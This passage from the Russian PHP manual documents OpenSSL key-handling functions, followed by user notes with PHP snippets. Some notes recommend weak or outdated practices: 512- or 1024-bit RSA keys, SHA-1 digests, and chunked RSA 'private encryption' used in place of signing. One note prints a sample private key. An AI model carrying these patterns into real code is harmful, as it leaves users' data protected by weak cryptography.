    "x" | x координата (открытая)
    "y" | y координата (открытая)
    "d" | секретный ключ

Список изменений

Версия | Описание
8.0.0 | key теперь принимает экземпляр OpenSSLAsymmetricKey; ранее принимался ресурс (resource) типа OpenSSL key.

User Contributed Notes

There are no user contributed notes for this page.


Получить закрытый ключ

  • « openssl_pkey_get_details
  • openssl_pkey_get_public »
  • PHP Manual
  • Функции OpenSSL
  • Получить закрытый ключ

openssl_pkey_get_private

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_get_private — Получить закрытый ключ

Описание

openssl_pkey_get_private(OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key, ?string $passphrase = null): OpenSSLAsymmetricKey|false

openssl_pkey_get_private() разбирает private_key и подготавливает его к использованию в других функциях.

Список параметров

private_key

private_key может быть задан следующим образом:

  1. строка вида file://path/to/file.pem. Файл должен содержать кодированный в PEM сертификат/закрытый ключ (может содержать и то и другое).
  2. Секретный ключ в формате PEM.

passphrase

Если ключ защищён паролем, то его надо указать в параметре passphrase.

Возвращаемые значения

Возвращает экземпляр OpenSSLAsymmetricKey или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр OpenSSLAsymmetricKey; ранее возвращался ресурс (resource) типа OpenSSL key.
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.
8.0.0 | passphrase теперь допускает значение null.

User Contributed Notes

pablo dot siciliano at gmail dot com 10-Oct-2020 02:26
Hi.

If this function not work with pathname try with a file_get_contents of a key file.
kristof1 at mailbox dot hu 10-May-2014 03:34
It's actually "file://key.pem" when you want to give a relative path using unix systems. It will be three '/' in case of absolute path (e.g "file:///home/username/..."). But this path consists of two '/' originated from "file://" and one '/' from the fact that home is a subfolder of the unix filesystem's root directory ("/home/username/..."). This two part will be concatenated and you will get three '/' characters following each other.

So you only have to concatenate "file://" with an existing path string in every case.


Извлекает открытый ключ из сертификата и подготавливает его к использованию

  • « openssl_pkey_get_private
  • openssl_pkey_new »
  • PHP Manual
  • Функции OpenSSL
  • Извлекает открытый ключ из сертификата и подготавливает его к использованию

openssl_pkey_get_public

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_get_public — Извлекает открытый ключ из сертификата и подготавливает его к использованию

Описание

openssl_pkey_get_public(OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key): OpenSSLAsymmetricKey|false

openssl_pkey_get_public() извлекает открытый ключ из public_key и подготавливает его к использованию в других функциях.

Список параметров

public_key

public_key может быть одним из:

  1. экземпляр OpenSSLAsymmetricKey
  2. строка вида file://path/to/file.pem. Файл должен содержать кодированный в PEM сертификат/публичный ключ (может содержать и то и другое).
  3. Открытый ключ в формате PEM.

Возвращаемые значения

Возвращает экземпляр OpenSSLAsymmetricKey или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр OpenSSLAsymmetricKey; ранее возвращался ресурс (resource) типа OpenSSL key.
8.0.0 | public_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

User Contributed Notes

GeniusLe at zslm dot org 19-Aug-2020 05:55
You may need to export a public key from the private key, because the public key provided by the key generated by other tools is in pem format, and we need openssh format

```
<?php
$public = openssl_pkey_get_details(openssl_pkey_get_private(OPENSSL_USER_PRIVATE_KYE))['key'];

// save $public

```
igniweb dot net at gmail dot com 04-May-2018 01:54
To complete http://php.net/manual/fr/function.openssl-pkey-get-public.php#101513

Michaela code retranscription can be :

$key = str_replace([
    '-----BEGIN RSA PUBLIC KEY-----',
    '-----END RSA PUBLIC KEY-----',
    "\r\n",
    "\n",
], [
    '',
    '',
    "\n",
    ''
], $key);

$key = 'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . trim($key);

$key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($key, 64, "\n", true) . "\n-----END PUBLIC KEY-----";
Joey 12-Sep-2016 03:24
I spent a few hours raging with this function and hitting my head on the desk trying to get it to load a public PEM key.

This function can leave errors in openssl_error_string even if it succeeded so this can cause a lot of confusion further down. Especially if you're prototyping and haven't put full checks on return values in yet. The error will not be cleared either when calling other functions successfully.

To avoid confusion, you should always check the return result and only call openssl_error_string after calling an openssl function that returned failure (false).
Rurri 25-Feb-2012 07:35
If you have a 4096 bit key pair and are trying to use a public key that begins with:

-----BEGIN RSA PUBLIC KEY-----

and you need to convert it for this function to use, you can convert it by prepending the static header information:

MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A

Such as:

$start_key = str_replace('-----BEGIN RSA PUBLIC KEY-----', '', $start_key);
$start_key = trim(str_replace('-----END RSA PUBLIC KEY-----', '', $start_key));
$key = 'MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A' . str_replace("\n", '', $start_key);
$key = "-----BEGIN PUBLIC KEY-----\n" . wordwrap($key, 64, "\n", true) . "\n-----END PUBLIC KEY-----";
ppostma1 15-Jun-2011 08:32
found the cert/public key for 2048 bits is this format:

-----BEGIN PUBLIC KEY-----
X509 signature + PEM sig + modulus + 'ID' + exponent
-----END PUBLIC KEY-----

so the variables are:
-----BEGIN PUBLIC KEY-----
'MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A' . 'MIIBCgKCAQEA' . $modulus . 'ID' . $exponent
-----END PUBLIC KEY-----

<?php wordwrap($cert, 64, "\r\n", true); ?>
info at steyla dot com 21-Dec-2010 11:55
If you are trying to read a PKCS#1 RSA public key you run into trouble, because openssl wants the public key in X.509 style.

The PKCS#1 RSA public key

-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9kqQ/HVp+T2KtmvShe68cm8luR7Dampmb
[...]
cbn6n2FsV91BlEnrAKq65PGJxcwcH5+aJwIDAQAB
-----END RSA PUBLIC KEY-----

.. is  not readable while the X.509 style public key

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAgYxTW5Yj+5QiQtlPMnS9
[..]
JwIDAQAB
-----END PUBLIC KEY-----

is. You can use an easy (and dirty) work around to read the PKCS#1 RSA anyway. The first few bytes of the X.509 style public key contain header information and can shamelessly be copied.

In other words: Delete everything after the first 32 bytes from the above X.509 key (starting behind Q8A) and attach your PKCS#1 data, reformat to 64 bytes length and use it with openssl.

Please note: The above example only works for 2048 bit length.

Like I said - it's kind of dirty - but hey - if you're as desperate as I was.

Michaela
Paul Clark 15-Feb-2010 07:50
Note this will read public keys from PEM formatted public keys as well:

<?php
$key = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDXX/MsKEBLcLeKA1d/i7ufG1qs
qS97xFkIRSeX3TwmHic843AfVrzoh2pZUeOvK9ZLZQpHSM7DoHMYDGD1273+FvZX
Ypf5LiFtecfxko/Cku16zy6WAeCYVFjjlveBhwPmPCIk+qDRYeiIW05QE2XK+CuD
nJ7sxxXIJSSgD3Jo5wIDAQAB
-----END PUBLIC KEY-----
EOF;

print $key;
$res = openssl_pkey_get_public($key);
print_r(openssl_pkey_get_details($res));
?>

Note that contrary to the documentation, openssl_pkey_get_details() will *not* read PEM directly, and you have to go through this step.
thelen dot shar at gmail dot com 25-Jan-2009 12:08
Found it difficult to get my head around this due to lack of documentation.

But the process I followed for all this was:
Generate private key:
openssl genrsa -des3 -out private.pem 1024

Generate public key:
openssl rsa -in private.pem -out public.pem -outform PEM -pubout

Then in PHP:
$passphrase = 'somestring';
$key_private = openssl_get_privatekey(file_get_contents('private.pem'), $passphrase);
$key_public = openssl_get_publickey(file_get_contents('public.pem'));

Probably not the best way of doing it, but a lot simpler than the other examples on the site. I was having trouble getting the pubkey, it wasn't exactly specified very well, and I had made a mistake in generating it so it wasn't working for that reason as well.
VaD 06-Jun-2008 10:36
Small error in this code:

$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
07-May-2007 12:40
you can get (and save to file) public key using openssl_pkey_get_details(resource $key ) function:

<?php
$pub_key = openssl_pkey_get_public(file_get_contents('./cert.crt'));
$keyData = openssl_pkey_get_details($pub_key);
file_put_contents('./key.pub', $keyData['key']);
?>
dankybastard at hotmail 09-Feb-2005 08:52
You must also use the string representation of the certificate to get the public key resource:

$dn = array();  // use defaults
$res_privkey = openssl_pkey_new();
$res_csr = openssl_csr_new($dn, $res_privkey);
$res_cert = openssl_csr_sign($res_csr, null, $res_privkey, $ndays);

openssl_x509_export($res_cert, $str_cert);

$res_pubkey = openssl_pkey_get_public($str_cert);
09-Aug-2004 11:44
This documentation notes it can take a PEM-formatted private key, but as per bug #25614, this is not possible in any form. The function simply returns a FALSE.

The only thing you can get public keys out of are X.509 certificates.

Furthermore, there is NO way to export a public key into a PEM-encoded form.


Генерирует новый закрытый ключ

  • « openssl_pkey_get_public
  • openssl_private_decrypt »
  • PHP Manual
  • Функции OpenSSL
  • Генерирует новый закрытый ключ

openssl_pkey_new

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_pkey_new — Генерирует новый закрытый ключ

Описание

openssl_pkey_new(?array $options = null): OpenSSLAsymmetricKey|false

openssl_pkey_new() создаёт новый закрытый ключ. Как получить открытую часть ключа показано в примере ниже.

Замечание: Для корректной работы этой функции должен существовать правильный openssl.cnf. Для более подробной информации смотрите замечания под разделом установки.

Список параметров

options

Вы можете настроить параметры генерации ключа (например указать число бит) с помощью options. Смотрите описание функции openssl_csr_new() для детальной информации о options.

Возвращаемые значения

Возвращает экземпляр OpenSSLAsymmetricKey, либо false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция возвращает экземпляр OpenSSLAsymmetricKey; ранее возвращался ресурс (resource) типа OpenSSL key.
7.1.0 | Добавлен ключ curve_name в option для обеспечения возможности создания EC ключей.

Примеры

Пример #1 Получить открытую часть ключа из закрытого ключа

<?php
$private_key = openssl_pkey_new();
$public_key_pem = openssl_pkey_get_details($private_key)['key'];
echo $public_key_pem;
$public_key = openssl_pkey_get_public($public_key_pem);
var_dump($public_key);
?>

Результатом выполнения данного примера будет что-то подобное:

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArZFsmN2P6rx1Xt7YV95o
gcdlal0k3ryiIhFNzjwtRNNTXfEfBr6lUuaIJYQ8/XqEBX0hpcfuuF6tTRlonA3t
WLME0QFD93YVsAaXcy76YqjjqcRRodIBphAbYyyMI/lXkQAdn7kbAmr7neSOsMYJ
El9Wo4Hl4oG6e52ZnYHyqW9dxh4hX93eupR2TmcCdVf+r9xoHewP0KJYSHt7vDUX
AQlWYcQiWHIadFsmL0orr6mutlXFReoHbesgKY9/3YLOu0JfxflSjIZ2JeL1NTl1
MsmODsUwgAUrwnWKKx+eQUP5g3GnSB3dPkRh9zRVRiLNWbCugyjrf3e6DgQWrW7j
pwIDAQAB
-----END PUBLIC KEY-----
resource(5) of type (OpenSSL key)

User Contributed Notes

Andrew 24-Nov-2021 07:17
It's not documented here but you can also create ECC keys from existing key parameters (e.g. from JWK):

<?php
$key = openssl_pkey_new([
    'ec' => [
        'curve_name' => 'prime256v1',
        'x' => $someXValue,
        'y' => $someYValue,
        'd' => $someDValue
    ]
]);
?>

You can just provide x/y if it's a public key, or you can just provide d if it's a private key.
Jan 03-Jan-2019 09:02
In case this function returns false, then check your openssl.cnf and make sure that in the [req] section of this file the entry default_bits is not commented out.
gomez dot alejandre at gmail dot com 08-Dec-2018 01:43
Not forget the $configArgs for windows users :D, or the method throws a error with the primary key

//write your configurations :D
$configargs = array(
  "config" => "C:/xampp/php/extras/openssl/openssl.cnf",
  'private_key_bits'=> 2048,
  'default_md' => "sha256",
);

// Create the keypair
$res=openssl_pkey_new($configargs);
// Get private key
openssl_pkey_export($res, $privKey,NULL,$configargs);

and it's for all methods ._ .

a full implementation example here.

https://gist.github.com/DuckHunter213/269a0efd17e709f7f1f177ae7da46ad1

this error take me 3 full days you'r welcome :)
dodginess at yahoo dot com 15-Mar-2017 11:39
If you're using openssl_pkey_new() in conjunction with openssl_csr_new() and want to change the CSR digest algorithm as well as specify a custom key size, the configuration override should be defined once and sent to both functions:

<?php
$config = array(
    'digest_alg' => 'sha1',
    'private_key_bits' => 2048,
    'private_key_type' => OPENSSL_KEYTYPE_RSA,
);

$privkey = openssl_pkey_new($config);

$csr = openssl_csr_new($dn, $privkey, $config);
?>

Although openssl_pkey_new() will accept the 'digest_alg' argument it won't use it, and setting the value has no effect unless you also set this value for openssl_csr_new(). The reason for this is that the $config array is acting as a drop-in replacement for the values found in the openssl.cnf file, so it must contain all of the override values that you need even if the function they're being sent to won't use them.

Also, if you change the 'digest_alg' to something like 'sha256' and still get an MD5 signed CSR check your openssl.cnf file to see whether the digest algorithm you want to use is actually supported.
scott at brynen dot com 24-Feb-2015 09:36
If you try and generate a new key using openssl_pkey_new(), and need to specify the size of the key, the key MUST be type-bound to integer

// works
$keysize = 1024;
$ssl = openssl_pkey_new (array('private_key_bits' => $keysize));

// fails
$keysize = "1024";
$ssl = openssl_pkey_new (array('private_key_bits' => $keysize));

// works (force to int)
$keysize = "1024";
$ssl = openssl_pkey_new (array('private_key_bits' => (int)$keysize));
dirt at awoms dot com 26-Mar-2013 08:52
Working example:

$config = array(
    "digest_alg" => "sha512",
    "private_key_bits" => 4096,
    "private_key_type" => OPENSSL_KEYTYPE_RSA,
);

// Create the private and public key
$res = openssl_pkey_new($config);

// Extract the private key from $res to $privKey
openssl_pkey_export($res, $privKey);

// Extract the public key from $res to $pubKey
$pubKey = openssl_pkey_get_details($res);
$pubKey = $pubKey["key"];

$data = 'plaintext data goes here';

// Encrypt the data to $encrypted using the public key
openssl_public_encrypt($data, $encrypted, $pubKey);

// Decrypt the data using the private key and store the results in $decrypted
openssl_private_decrypt($encrypted, $decrypted, $privKey);

echo $decrypted;
zelnaga at gmail dot com 07-Jun-2012 05:21
Getting the public key corresponding to a particular private key, through the methods provided for by OpenSSL, is a bit cumbersome. An easier way to do it is to use phpseclib, a pure PHP RSA implementation:

<?php
include('Crypt/RSA.php');

$rsa = new Crypt_RSA();
$rsa->loadKey('...');

$privatekey = $rsa->getPrivateKey();
$publickey = $rsa->getPublicKey();
?>

Doesn't require any extensions be installed.  It'll use bcmath or gmp if they're available, for speed, but doesn't even require those.
jthijssen at notloxic dot nl 11-Feb-2011 06:17
If you want to change the default private key size (1024) too something else you can use the following code:

<?php
$config = array('private_key_bits' => 512);
$privKey = openssl_pkey_new($config);

?>

Mind though that the minimum number of bits is 384. Any lower will trigger an error.
Brad 02-Apr-2008 12:17
It's easier than all that, if you just want the keys:

<?php
// Create the keypair
$res=openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey=openssl_pkey_get_details($res);
$pubkey=$pubkey["key"];
?>
NOSPAM dot alchaemist at hiperlinux dot com dot ar 30-May-2004 12:17
As you probably found, getting the public key is not as direct as you might think with this documentation.

You can easily get into messages like:

Warning: openssl_pkey_get_public(): Don't know how to get public key from this private key (the documentation lied) in D:\www\keys.php on line 4

The correct steps to get the whole thing seem to be these:

<?
$dn = array("countryName" => 'XX', "stateOrProvinceName" => 'State', "localityName" => 'SomewhereCity', "organizationName" => 'MySelf', "organizationalUnitName" => 'Whatever', "commonName" => 'mySelf', "emailAddress" => 'user@domain.com');
$privkeypass = '1234';
$numberofdays = 365;

$privkey = openssl_pkey_new();
$csr = openssl_csr_new($dn, $privkey);
$sscert = openssl_csr_sign($csr, null, $privkey, $numberofdays);
openssl_x509_export($sscert, $publickey);
openssl_pkey_export($privkey, $privatekey, $privkeypass);
openssl_csr_export($csr, $csrStr);

echo $privatekey; // Will hold the exported PriKey
echo $publickey;  // Will hold the exported PubKey
echo $csrStr;     // Will hold the exported Certificate
?>

Now all you need to do is to make some research on each individual function.


Расшифровывает данные с помощью закрытого ключа

  • « openssl_pkey_new
  • openssl_private_encrypt »
  • PHP Manual
  • Функции OpenSSL
  • Расшифровывает данные с помощью закрытого ключа

openssl_private_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_private_decrypt — Расшифровывает данные с помощью закрытого ключа

Описание

openssl_private_decrypt(
string $data,
string &$decrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

openssl_private_decrypt() расшифровывает данные data, которые ранее были зашифрованы с помощью openssl_public_encrypt() и сохраняет результат в decrypted_data.

Вы можете использовать это функцию, например, для расшифровки данных, которые должны быть доступны только вам и никому более.

Список параметров

data

decrypted_data

private_key

private_key должен быть секретным ключом, соответствующим тому, чем мы шифровали данные.

padding

padding может принимать одно из следующих значений: OPENSSL_PKCS1_PADDING, OPENSSL_SSLV23_PADDING, OPENSSL_PKCS1_OAEP_PADDING, OPENSSL_NO_PADDING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

Смотрите также

  • openssl_public_encrypt() - Шифрование данных открытым ключом
  • openssl_public_decrypt() - Расшифровка данных с помощью открытого ключа

User Contributed Notes

Anonymous 27-Mar-2021 02:33
<?php

// Generate keys in console:
// $ openssl genrsa -out private_key 8192
// $ openssl rsa -in private_key -out public_key.pem -pubout -outform PEM

// Test data
$data = 'Hello world';

// Encrypt data with public key
$publicKey = file_get_contents('public_key.pem');
$encrypted = null;

openssl_public_encrypt($data, $encrypted, $publicKey);

echo 'Encrypted data', PHP_EOL;
echo base64_encode($encrypted), PHP_EOL;

echo PHP_EOL;

// Decrypt data with private key
$privateKey = file_get_contents('private_key');
$decrypted = null;

openssl_private_decrypt($encrypted, $decrypted, $privateKey);

echo 'Decrypted data', PHP_EOL;
echo $decrypted, PHP_EOL;
tjusongchao at gmail dot com 08-Apr-2015 10:45
of course you have to add the openssl extension to you php environment.
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:58
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>


Шифрует данные секретным ключом

  • « openssl_private_decrypt
  • openssl_public_decrypt »
  • PHP Manual
  • Функции OpenSSL
  • Шифрует данные секретным ключом

openssl_private_encrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_private_encrypt — Шифрует данные секретным ключом

Описание

openssl_private_encrypt(
string $data,
string &$encrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

openssl_private_encrypt() шифрует data с помощью секретного ключа private_key и сохраняет результат в encrypted_data. Потом данные можно расшифровать с помощью openssl_public_decrypt().

Эта функция используется, например, для подписи данных. Чтобы была уверенность в том, кто именно отправил сообщение.

Список параметров

data

encrypted_data

private_key

padding

padding может быть одной из констант: OPENSSL_PKCS1_PADDING, OPENSSL_NO_PADDING.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | private_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

Смотрите также

  • openssl_public_encrypt() - Шифрование данных открытым ключом
  • openssl_public_decrypt() - Расшифровка данных с помощью открытого ключа

User Contributed Notes

Hernanibus 31-Aug-2016 02:52
Just a little note on  [P.Peyremorte]'s note.

"- openssl_private_encrypt can encrypt a maximum of 117 chars at one time."

This depends on the length of $key:

- For a 1024 bit key length => max number of chars (bytes) to encrypt = 1024/8 - 11(when padding used) = 117 chars (bytes).
- For a 2048 bit key length => max number of chars (bytes) to encrypt = 2048/8 - 11(when padding used) = 245 chars (bytes).
... and so on

By the way, if openssl_private_encrypt fails because of data size you won't get anything but just false as returned value, the same for openssl_public_decrypt() on decryption.

"- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler)"

This again depends on the length of $key:

- For a 1024 bit key length => encrypted number of raw bytes is always a block of 128 bytes (1024 bits) by RSA design.
- For a 2048 bit key length => encrypted number of raw bytes is always a block of 256 bytes (2048 bits) by RSA design.
... and so on

About base64_encode output length, it depends on what you encode (meaning it depends on the bytes resulting after encryption), but in general the resulting encoded string will be about a 33% bigger (for 128 bytes bout 170 bytes and for 256 bytes about 340 bytes).

I would then generalize a little [P.Peyremorte]'s note by:
<?php
// given the variables as constants:

  //Block size for encryption block cipher
  private $ENCRYPT_BLOCK_SIZE = 200;// this for 2048 bit key for example, leaving some room

  //Block size for decryption block cipher
  private $DECRYPT_BLOCK_SIZE = 256;// this again for 2048 bit key

         //For encryption we would use:
  function encrypt_RSA($plainData, $privatePEMKey)
  {
    $encrypted = '';
    $plainData = str_split($plainData, $this->ENCRYPT_BLOCK_SIZE);
    foreach($plainData as $chunk)
    {
      $partialEncrypted = '';

      //using for example OPENSSL_PKCS1_PADDING as padding
      $encryptionOk = openssl_private_encrypt($chunk, $partialEncrypted, $privatePEMKey, OPENSSL_PKCS1_PADDING);

      if($encryptionOk === false){return false;}//also you can return and error. If too big this will be false
      $encrypted .= $partialEncrypted;
    }
    return base64_encode($encrypted);//encoding the whole binary String as MIME base 64
  }

         //For decryption we would use:
  protected function decrypt_RSA($publicPEMKey, $data)
  {
    $decrypted = '';

    //decode must be done before spliting for getting the binary String
    $data = str_split(base64_decode($data), $this->DECRYPT_BLOCK_SIZE);

    foreach($data as $chunk)
    {
      $partial = '';

      //be sure to match padding
      $decryptionOK = openssl_public_decrypt($chunk, $partial, $publicPEMKey, OPENSSL_PKCS1_PADDING);

      if($decryptionOK === false){return false;}//here also processed errors in decryption. If too big this will be false
      $decrypted .= $partial;
    }
    return $decrypted;
  }
?>
P.Peyremorte 15-Mar-2016 06:17
A trick not mentioned in manual to know :

- openssl_private_encrypt can encrypt a maximum of 117 chars at one time.
- the encrypted output string is always 129 char length. If you use base64_encode on the encrypted output, it will give always 172 chars, with the last always "=" (filler).

So, to encode a longer stream input you have to use something like :
<?php
$RawData = ... ; //Your input data to encode

$PartialData = '';
$EncodedData = '';
$Split = str_split($RawData , 117);
ForEach($Split as $Part)
{
  openssl_private_encrypt($Part, $PartialData, $PrivateKey);
  $EncodedData .= base64_encode($PartialData);
}
?>

and then, to decode :

<?php
$OriginalData = '';
$Split = str_split($EncodedData , 172);
ForEach($Split as $Part)
{
  openssl_private_decrypt(base64_decode($Part), $PartialData, $PublicKey);
  $OriginalData .= $PartialData;
}
?>
adityasingh at techknowtrends dot com 02-Apr-2012 09:18
Here is a over simplified version of using the crypt capabilities for getting started:

$res = openssl_pkey_new();

// Get private key
openssl_pkey_export($res, $privkey);

// Get public key
$pubkey = openssl_pkey_get_details($res);
$pubkey = $pubkey["key"];
var_dump($privkey);
var_dump($pubkey);

// get some text from command line to work with
$tocrypt = trim(fgets(STDIN));

// some variables to work with
$encryptedviaprivatekey = ""; //holds text encrypted with the private key
$decryptedviapublickey = ""; // holds text which was decrypted by the public key after being encrypted with the private key, should be same as $tocrypt
$encryptedviapublickey = ""; // holds text that was encrypted with the public key
$decryptedviaprivatekey = ""; // holds text that was decrypted with the private key after being encrypted with the public key, should be the same as $tocrypt

openssl_private_encrypt($tocrypt, $encryptedviaprivatekey, $privkey);
echo $tocrypt . "->" . $encryptedviaprivatekey;
echo "\n\n";
openssl_public_decrypt($encryptedviaprivatekey, $decryptedviapublickey, $pubkey);
echo $encryptedviaprivatekey . "->" . $decryptedviapublickey;
echo "\n\n";

openssl_public_encrypt($tocrypt,$encryptedviapublickey, $pubkey);
echo $tocrypt . "->" . $encryptedviapublickey;
echo "\n\n";
openssl_private_decrypt($encryptedviapublickey, $decryptedviaprivatekey, $privkey);
echo $encryptedviapublickey . "->" . $decryptedviaprivatekey;

Output:

string(887) "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCy745x8AqGKlTWBu2Ub80boPaQxo/midZ4LHZ0zbPpiCAfkADN
VYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf8K/mA0LQ00MKBFaFottWt5cC
IaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTvpXRk0u46D6hKiy+TSQIDAQAB
AoGBAJe1jjNCDtoz19vi4doBdIhhT8vt3iHbafBX2lMr+MceeAXqpRNy10+e9op9
uh0G4+vGDialZnYbMBLs6Ngl+nVnzn+cN1MMJ18brgf3biZKzVzK9wmOW4eycWaR
9eLa7/+ns8Cw5GsLJdG+OHR2gXRXU4hzUFdf90UUbP+kuqK1AkEA2X04XznFDNmT
NuhyCixwinlziazJBp/81jjaBhYj3cG0nTF0Gactc/yD0yudbrMqjLBfts+FbG3Z
yFHKrAB/cwJBANKetll3M3aCGsermEK+9hbB8yMihCju6pAwClUNkrAgrm9zU4LP
WkC81RDzXbz+pfIqpopfn34F3+U2iMiOe1MCQCXpTgpLZ631v1Oy8S4U0QlSYnF9
TQ16lfhBsL+e3GGrgnBkTniqS6IMQm5tC+RgFuqvU//p7LgZ7fydRVb2P0ECQFp9
YADuKskmutTAj6lVnCtI5upYgQmJJHQQf8/tBfHwCKHPnbic17zqpGwk80go7Ckw
U98tmDuv0HMNTBVGygsCQALck7VNBRjL9iFzJMFis+alcP1ZC88wOLPvIxYbevUH
c8rZwRqt1aHwaWOoxcVom+tyzRC6gEYoBarmU1bX4No=
-----END RSA PRIVATE KEY-----
"
string(272) "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCy745x8AqGKlTWBu2Ub80boPaQ
xo/midZ4LHZ0zbPpiCAfkADNVYSe8OckPKutdjPX7SNAx66PgQRH1xrz1gysbRrf
8K/mA0LQ00MKBFaFottWt5cCIaUS9zvCgPw7prwng3hkGShnvTSMXiKFyt1E3RTv
pXRk0u46D6hKiy+TSQIDAQAB
-----END PUBLIC KEY-----
"
this is a test for crypting
( ¦E@n?u?7Feµ?+-M?ik?7?;t?8[j?nr?¦?-TU++?YG?-uo¦}9+k8OJn_?¦x?¦
do+aev.ca?-i`,¦?·5u¦p%Z?¤UI?u ?

( ¦E@n?u?7Feµ?+-M?ik?7?;t?8[j?nr?¦?-TU++?YG?-uo¦}9+k8OJn_?¦x?¦
do+aev.ca?-i`,¦?·5u¦p%Z?¤UI?u ?->this is a test for crypting

this is a test for crypting->hT!?_
#+?-i?yo»?aSs+uSnaO-(¦eIkl[¤¦=?i?C+Uy·N,=b=+¦TameNo¦A~uNtu¦@y?»¦SV5N?*¦?·UyoPOFq
-? O{?¦a|,aIN)+_-oF+*¦{|??G-???/?¬±"PFL

hT!?_
#+?-i?yo»?aSs+uSnaO-(¦eIkl[¤¦=?i?C+Uy·N,=b=+¦TameNo¦A~uNtu¦@y?»¦SV5N?*¦?·UyoPOFq
-? O{?¦a|,aIN)+_-oF+*¦{|??G-???/?¬±"PFL->this is a test for crypting
wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 03:50
Encrypt using private key, decrypt using public key.

Use this for posting signed messages:  Anyone with access to
your public key can read it, but they can't create one with
your signature.

<?php
echo "Source: $source";
$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_encrypt($source,$crypttext,$res);
echo "String crypted: $crypttext";

$fp=fopen ("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_decrypt($crypttext,$newsource,$pub_key);
echo "String decrypt : $newsource";
?>
billnet at tiscalinet dot it 28-Jan-2002 10:47
<?php
$fp=fopen ("/path/to/key.pem","r");
$priv_key=fread ($fp,8192);
fclose($fp);
openssl_get_privatekey ($priv_key);
openssl_private_encrypt($source,$finaltext,$priv_key);
echo "String crypted: $finaltext";
?>

CIAO !


Расшифровка данных с помощью открытого ключа

  • « openssl_private_encrypt
  • openssl_public_encrypt »
  • PHP Manual
  • Функции OpenSSL
  • Расшифровка данных с помощью открытого ключа

openssl_public_decrypt

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_public_decrypt — Расшифровка данных с помощью открытого ключа

Описание

openssl_public_decrypt(
string $data,
string &$decrypted_data,
OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key,
int $padding = OPENSSL_PKCS1_PADDING
): bool

